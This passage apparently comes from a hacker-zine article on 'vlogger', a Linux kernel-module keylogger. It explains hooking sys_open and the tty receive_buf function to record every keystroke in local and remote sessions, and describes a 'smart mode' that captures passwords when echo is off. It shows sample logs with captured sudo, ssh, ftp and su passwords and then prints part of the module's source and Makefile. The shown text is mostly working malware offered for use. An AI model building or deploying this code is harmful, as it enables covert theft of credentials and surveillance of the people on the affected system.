To logging both local (logged from console) and remote sessions, I chose
the method of intercepting receive_buf() function (see 3.2.3).
In the kernel, tty_struct and tty_queue structures are dynamically
allocated only when the tty is open. Thus, we also have to intercept
sys_open syscall to dynamically hooking the receive_buf() function of each
tty or pty when it's invoked.
// to intercept open syscall
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;
// new_sys_open()
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
...
// call the original_sys_open
ret = (*original_sys_open)(filename, flags, mode);
if (ret >= 0) {
struct tty_struct * tty;
...
file = fget(ret);
tty = file->private_data;
if (tty != NULL &&
...
tty->ldisc.receive_buf != new_receive_buf) {
...
// save the old receive_buf
old_receive_buf = tty->ldisc.receive_buf;
...
/*
* init to intercept receive_buf of this tty
* tty->ldisc.receive_buf = new_receive_buf;
*/
init_tty(tty, TTY_INDEX(tty));
}
...
}
// our new receive_buf() function
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
if (!tty->real_raw && !tty->raw) // ignore raw mode
// call our logging function to log user inputs
vlogger_process(tty, cp, count);
// call the original receive_buf
(*old_receive_buf)(tty, cp, fp, count);
}
----[ 4.2 - Features
- Logs both local and remote sessions (via tty & pts)
- Separate logging for each tty/session. Each tty has their own logging
buffer.
- Nearly support all special chars such as arrow keys (left, right, up,
down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End,
Home, Page Up, Page Down, BackSpace, ...
- Support some line editing keys included CTRL-U and BackSpace.
- Timestamps logging, timezone supported (ripped off some codes from
libc).
- Multiple logging modes
o dumb mode: logs all keystrokes
o smart mode: detects password prompt automatically to log
user/password only. I used the similar technique presented in
"Passive Analysis of SSH (Secure Shell) Traffic" paper by Solar
Designer and Dug Song (see [6]). When the application turns input
echoing off, we assume that it is for entering a password.
o normal mode: disable logging
You can switch between logging modes by using a magic password.
#define VK_TOGLE_CHAR 29 // CTRL-]
#define MAGIC_PASS "31337" // to switch mode, type MAGIC_PASS
// then press VK_TOGLE_CHAR key
----[ 4.3 - How to use
Change the following options
// directory to store log files
#define LOG_DIR "/tmp/log"
// your local timezone
#define TIMEZONE 7*60*60 // GMT+7
// your magic password
#define MAGIC_PASS "31337"
Below is how the log file looks like:
[root@localhost log]# ls -l
total 60
-rw------- 1 root root 633 Jun 19 20:59 pass.log
-rw------- 1 root root 37593 Jun 19 18:51 pts11
-rw------- 1 root root 56 Jun 19 19:00 pts20
-rw------- 1 root root 746 Jun 19 20:06 pts26
-rw------- 1 root root 116 Jun 19 19:57 pts29
-rw------- 1 root root 3219 Jun 19 21:30 tty1
-rw------- 1 root root 18028 Jun 19 20:54 tty2
---in dumb mode
[root@localhost log]# head tty2 // local session
<19/06/2002-20:53:47 uid=501 bash> pwd
<19/06/2002-20:53:51 uid=501 bash> uname -a
<19/06/2002-20:53:53 uid=501 bash> lsmod
<19/06/2002-20:53:56 uid=501 bash> pwd
<19/06/2002-20:54:05 uid=501 bash> cd /var/log
<19/06/2002-20:54:13 uid=501 bash> tail messages
<19/06/2002-20:54:21 uid=501 bash> cd ~
<19/06/2002-20:54:22 uid=501 bash> ls
<19/06/2002-20:54:29 uid=501 bash> tty
<19/06/2002-20:54:29 uid=501 bash> [UP]
[root@localhost log]# tail pts11 // remote session
<19/06/2002-18:48:27 uid=0 bash> cd new
<19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .
<19/06/2002-18:48:21 uid=0 bash> lsmod
<19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
<19/06/2002-18:48:28 uid=0 bash> ls -l
<19/06/2002-18:48:30 uid=0 bash> tail pts11
<19/06/2002-18:48:38 uid=0 bash> [UP] | more
<19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
<19/06/2002-18:50:48 uid=0 vi> :q
<19/06/2002-18:51:14 uid=0 bash> rmmod vlogger
---in smart mode
[root@localhost log]# cat pass.log
[19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
USER/CMD sudo traceroute yahoo.com
PASS 5hgt6d
PASS
[19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
USER/CMD ssh guest@host.com
PASS guest
[19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
USER/CMD open ftp.ilog.fr
USER Anonymous
PASS heh@heh
[19/06/2002-20:59:54 tty=pts/29 uid=504 su]
USER/CMD su -
PASS asdf1234
Please check http://www.thehackerschoice.com/ for update on the new version
of this tool.
--[ 5 - Greets
Thanks to plasmoid, skyper for your very useful comments
Greets to THC, vnsecurity and all friends
Finally, thanks to mr. thang for english corrections
--[ 6 - References
[1] Linux Kernel Module Programming
http://www.tldp.org/LDP/lkmpg/
[2] Complete Linux Loadable Kernel Modules - Pragmatic
http://www.thehackerschoice.com/papers/LKM_HACKING.html
[3] The Linux keyboard driver - Andries Brouwer
http://www.linuxjournal.com/lj-issues/issue14/1080.html
[4] Abuse of the Linux Kernel for Fun and Profit - Halflife
http://www.phrack.com/phrack/50/P50-05
[5] Kernel function hijacking - Silvio Cesare
http://www.big.net.au/~silvio/kernel-hijack.txt
[6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
[7] Kernel Based Keylogger - Mercenary
http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt
--[ 7 - Keylogger sources
<++> vlogger/Makefile
#
# vlogger 1.0 by rd
#
# LOCAL_ONLY logging local session only. Doesn't intercept
# sys_open system call
# DEBUG Enable debug. Turn on this options will slow
# down your system
#
KERNELDIR =/usr/src/linux
include $(KERNELDIR)/.config
MODVERFILE = $(KERNELDIR)/include/linux/modversions.h
MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS
CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \
-Wstrict-prototypes -fomit-frame-pointer -pipe \
-fno-strength-reduce -malign-loops=2 -malign-jumps=2 \
-malign-functions=2
all : vlogger.o
vlogger.o: vlogger.c
$(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@
clean:
rm -f *.o
<-->
<++> vlogger/vlogger.c
/*
* vlogger 1.0
*
* Copyright (C) 2002 rd
*
* Please check http://www.thehackerschoice.com/ for update
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* Greets to THC & vnsecurity
*
*/
#define __KERNEL_SYSCALLS__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
#endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
MODULE_LICENSE("GPL");
MODULE_AUTHOR("rd@vnsecurity.net");
#endif
#define MODULE_NAME "vlogger "
#define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"
#ifdef DEBUG
#define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
#else
#define DPRINT(format, args...)
#endif
#define N_TTY_NAME "tty"
#define N_PTS_NAME "pts"
#define MAX_TTY_CON 8
#define MAX_PTS_CON 256
#define LOG_DIR "/tmp/log"
#define PASS_LOG LOG_DIR "/pass.log"
#define TIMEZONE 7*60*60 // GMT+7
#define ESC_CHAR 27
#define BACK_SPACE_CHAR1 127 // local
#define BACK_SPACE_CHAR2 8 // remote
#define VK_TOGLE_CHAR 29 // CTRL-]
#define MAGIC_PASS "31337" // to switch mode, press MAGIC_PASS and
// VK_TOGLE_CHAR
#define VK_NORMAL 0
#define VK_DUMBMODE 1
#define VK_SMARTMODE 2
#define DEFAULT_MODE VK_DUMBMODE
#define MAX_BUFFER 256
#define MAX_SPECIAL_CHAR_SZ 12
#define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \
+ (tty)->driver.name_base
#define TTY_INDEX(tty) tty->driver.type == \
TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \
TTY_NUMBER(tty):TTY_NUMBER(tty)
#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
#define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \
buf, count)
#define TTY_NAME(tty) (tty->driver.type == \
TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \
tty->driver.type == TTY_DRIVER_TYPE_PTY && \
tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")
#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }
extern void *sys_call_table[];
int errno;
struct tlogger {
struct tty_struct *tty;
char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
int lastpos;
int status;
int pass;
};
struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
char *, int);
asmlinkage int (*original_sys_open)(const char *, int, int);
int vlogger_mode = DEFAULT_MODE;
/* Prototypes */
static inline void init_tty(struct tty_struct *, int);
/*
static char *_tty_make_name(struct tty_struct *tty,
const char *name, char *buf)
{
int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;
if (!tty)
strcpy(buf, "NULL tty");
else
sprintf(buf, name,
idx + tty->driver.name_base);
return buf;
}
char *tty_name(struct tty_struct *tty, char *buf)
{
return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf);
}
*/
#define SECS_PER_HOUR (60 * 60)
#define SECS_PER_DAY (SECS_PER_HOUR * 24)
#define isleap(year) \
((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
struct vtm {
int tm_sec;
int tm_min;
int tm_hour;
int tm_mday;
int tm_mon;
int tm_year;
};
/*
* Convert from epoch to date
*/
int epoch2time (const time_t *t, long int offset, struct vtm *tp)
{
static const unsigned short int mon_yday[2][13] = {
/* Normal years. */
{ 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
/* Leap years. */
{ 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
};
long int days, rem, y;
const unsigned short int *ip;
days = *t / SECS_PER_DAY;
rem = *t % SECS_PER_DAY;
rem += offset;
while (rem < 0) {
rem += SECS_PER_DAY;
--days;
}
while (rem >= SECS_PER_DAY) {
rem -= SECS_PER_DAY;
++days;
}
tp->tm_hour = rem / SECS_PER_HOUR;
rem %= SECS_PER_HOUR;
tp->tm_min = rem / 60;
tp->tm_sec = rem % 60;
y = 1970;
while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
long int yg = y + days / 365 - (days % 365 < 0);
days -= ((yg - y) * 365
+ LEAPS_THRU_END_OF (yg - 1)
- LEAPS_THRU_END_OF (y - 1));
y = yg;
}
tp->tm_year = y - 1900;
if (tp->tm_year != y - 1900)
return 0;
ip = mon_yday[isleap(y)];
for (y = 11; days < (long int) ip[y]; --y)
continue;
days -= ip[y];
tp->tm_mon = y;
tp->tm_mday = days + 1;
return 1;
}
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